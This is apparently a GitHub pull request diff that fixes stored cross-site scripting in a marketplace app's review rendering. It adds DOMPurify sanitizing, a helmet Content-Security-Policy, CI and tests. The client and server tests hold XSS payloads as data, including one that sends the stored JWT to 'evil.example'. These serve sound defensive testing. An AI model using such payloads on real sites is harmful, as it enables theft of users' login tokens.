Skip to content
Open

done #99

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 24 additions & 0 deletions .github/workflows/ci.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
name: CI

on:
push:
pull_request:

jobs:
test:
runs-on: ubuntu-latest

steps:
- name: Check out the code
uses: actions/checkout@v4

- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: '20'

- name: Install dependencies
run: npm install

- name: Run the test suite
run: npm test
7 changes: 7 additions & 0 deletions babel.config.cjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
// Lets jest load the project's ESM + JSX source through babel-jest.
module.exports = {
presets: [
['@babel/preset-env', { targets: { node: 'current' } }],
['@babel/preset-react', { runtime: 'automatic' }]
]
};
1 change: 1 addition & 0 deletions client/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
},
"dependencies": {
"axios": "^1.7.4",
"dompurify": "^3.4.17",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"react-router-dom": "^6.26.2"
Expand Down
26 changes: 21 additions & 5 deletions client/src/lib/sanitize.js
Original file line number Diff line number Diff line change
@@ -1,8 +1,24 @@
import DOMPurify from 'dompurify';

// Reviews are rendered as HTML so people can use light formatting (bold, links).
// This helper is the single place review HTML passes through before it is handed
// to React's dangerouslySetInnerHTML.
// to React's dangerouslySetInnerHTML — so it is the one seam responsible for
// neutralizing anything dangerous a reviewer might submit.
//
// TODO (security): right now this returns the HTML untouched, so whatever a
// reviewer typed — including <script> and onerror handlers — is injected into
// every viewer's page. Make this strip dangerous markup before it is rendered.
export const sanitizeHtml = (dirty) => dirty;
// We use DOMPurify to strip everything except a small allow-list of harmless
// formatting tags/attributes. That removes <script>, inline event handlers
// (onerror/onload/onclick/...), and javascript: URLs, while keeping legitimate
// bold text and links intact. This is layer 1 of our defense-in-depth; the
// server's Content-Security-Policy header is layer 2.
const ALLOWED_TAGS = ['b', 'strong', 'i', 'em', 'u', 'a', 'p', 'br', 'ul', 'ol', 'li', 'code', 'span'];
const ALLOWED_ATTR = ['href', 'title', 'target', 'rel'];

export const sanitizeHtml = (dirty) => {
if (typeof dirty !== 'string') return '';
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS,
ALLOWED_ATTR,
// Reject javascript:, data:, etc. — only allow safe link protocols.
ALLOWED_URI_REGEXP: /^(?:https?|mailto|tel):/i,
});
};
28 changes: 28 additions & 0 deletions jest.config.cjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
// One jest run with two environments:
// - "client" tests run in jsdom (they render React components)
// - "server" tests run in node (they boot the Express app + in-memory Mongo)
// `npm test` runs both.
module.exports = {
projects: [
{
displayName: 'client',
testEnvironment: 'jsdom',
testMatch: ['<rootDir>/tests/client/**/*.test.{js,jsx}'],
setupFilesAfterEnv: ['<rootDir>/tests/setup/jest.setup.js'],
moduleNameMapper: {
'\\.(css|less|scss|sass)$': 'identity-obj-proxy'
},
transform: {
'^.+\\.(js|jsx)$': 'babel-jest'
}
},
{
displayName: 'server',
testEnvironment: 'node',
testMatch: ['<rootDir>/tests/server/**/*.test.js'],
transform: {
'^.+\\.js$': 'babel-jest'
}
}
]
};
30 changes: 30 additions & 0 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions server/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
"cors": "^2.8.5",
"dotenv": "^16.4.5",
"express": "^4.19.2",
"helmet": "^8.3.0",
"joi": "^17.12.3",
"jsonwebtoken": "^9.0.2",
"mongoose": "^8.6.0",
Expand Down
22 changes: 22 additions & 0 deletions server/src/app.js
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
import express from 'express';
import morgan from 'morgan';
import cors from 'cors';
import helmet from 'helmet';
import authRoutes from './routes/auth.js';
import listingRoutes from './routes/listings.js';
import userRoutes from './routes/users.js';
Expand All @@ -9,6 +10,27 @@ import reviewRoutes from './routes/reviews.js';
const app = express();

app.use(morgan('dev'));

// Layer 2 of defense-in-depth: a browser-enforced Content-Security-Policy.
// Even if an injected script somehow reached the page, this policy tells the
// browser to refuse to execute it — scripts may load only from our own origin
// ('self') and inline script is NOT allowed (no 'unsafe-inline'), which is
// exactly how injected XSS tries to run.
app.use(
helmet({
contentSecurityPolicy: {
useDefaults: true,
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
},
},
})
);

app.use(cors({ origin: 'http://localhost:5175', credentials: false }));
app.use(express.json());

Expand Down
45 changes: 45 additions & 0 deletions tests/client/reviewList.test.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
import { render } from '@testing-library/react';
import ReviewList from '../../client/src/components/ReviewList';

// A review body a malicious user could submit: it tries to run script that
// reads the JWT out of localStorage (the app stores the token there).
const XSS_BODY =
'Nice item! ' +
'<img src=x onerror="window.__xssToken = localStorage.getItem(\'token\')">' +
'<script>window.__xssRan = true</script>' +
'<a href="javascript:alert(1)">click me</a>';

function renderReview(body) {
const reviews = [{ _id: 'r1', rating: 5, author: { name: 'attacker' }, body }];
return render(<ReviewList reviews={reviews} />);
}

describe('ReviewList renders review HTML safely', () => {
test('does not render any <script> element from the review body', () => {
const { container } = renderReview(XSS_BODY);
expect(container.querySelector('script')).toBeNull();
});

test('strips inline event-handler attributes such as onerror', () => {
const { container } = renderReview(XSS_BODY);
expect(container.querySelector('[onerror]')).toBeNull();
expect(container.querySelector('[onload]')).toBeNull();
expect(container.querySelector('[onclick]')).toBeNull();

const img = container.querySelector('img');
if (img) expect(img.getAttribute('onerror')).toBeNull();
});

test('does not keep javascript: URLs on links', () => {
const { container } = renderReview(XSS_BODY);
const link = container.querySelector('a');
if (link) {
expect((link.getAttribute('href') || '').toLowerCase()).not.toMatch(/^javascript:/);
}
});

test('still renders the benign review text', () => {
const { container } = renderReview(XSS_BODY);
expect(container.textContent).toContain('Nice item!');
});
});
67 changes: 67 additions & 0 deletions tests/server/csp.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
import request from 'supertest';
import mongoose from 'mongoose';
import { MongoMemoryServer } from 'mongodb-memory-server';
import app from '../../server/src/app.js';

let mongo;

beforeAll(async () => {
process.env.JWT_SECRET = 'test-secret';
process.env.JWT_EXPIRES_IN = '1h';
mongo = await MongoMemoryServer.create();
await mongoose.connect(mongo.getUri());
}, 60000);

afterAll(async () => {
await mongoose.disconnect();
if (mongo) await mongo.stop();
});

async function registerAndGetToken() {
const res = await request(app)
.post('/api/auth/register')
.send({ name: 'Reviewer', email: `r${Date.now()}@test.dev`, password: 'secret123' });
return res.body.token;
}

describe('Reviews API', () => {
test('a logged-in user can create a review and it can be read back', async () => {
const token = await registerAndGetToken();

const listingRes = await request(app)
.post('/api/listings')
.set('Authorization', `Bearer ${token}`)
.send({ title: 'Used bike', price: 50, category: 'other', condition: 'used' });
expect(listingRes.status).toBe(201);
const listingId = listingRes.body.listing._id;

const payload =
'Great seller! <img src=x onerror="fetch(\'//evil.example/?t=\' + localStorage.getItem(\'token\'))">';
const createRes = await request(app)
.post('/api/reviews')
.set('Authorization', `Bearer ${token}`)
.send({ listing: listingId, rating: 5, body: payload });
expect(createRes.status).toBe(201);

const listRes = await request(app).get('/api/reviews').query({ listing: listingId });
expect(listRes.status).toBe(200);
expect(listRes.body.reviews).toHaveLength(1);
});
});

describe('Content-Security-Policy header', () => {
test('responses send a CSP header', async () => {
const res = await request(app).get('/api/health');
expect(res.headers['content-security-policy']).toBeDefined();
});

test('the CSP restricts scripts to the same origin and blocks inline script', async () => {
const res = await request(app).get('/api/health');
const csp = res.headers['content-security-policy'] || '';

// script-src is present and allows only 'self'
expect(csp).toMatch(/script-src[^;]*'self'/);
// and it must NOT permit inline script (which is how injected XSS runs)
expect(csp).not.toMatch(/script-src[^;]*'unsafe-inline'/);
});
});
2 changes: 2 additions & 0 deletions tests/setup/jest.setup.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
// Adds jest-dom matchers (toBeInTheDocument, etc.) to the client test environment.
require('@testing-library/jest-dom');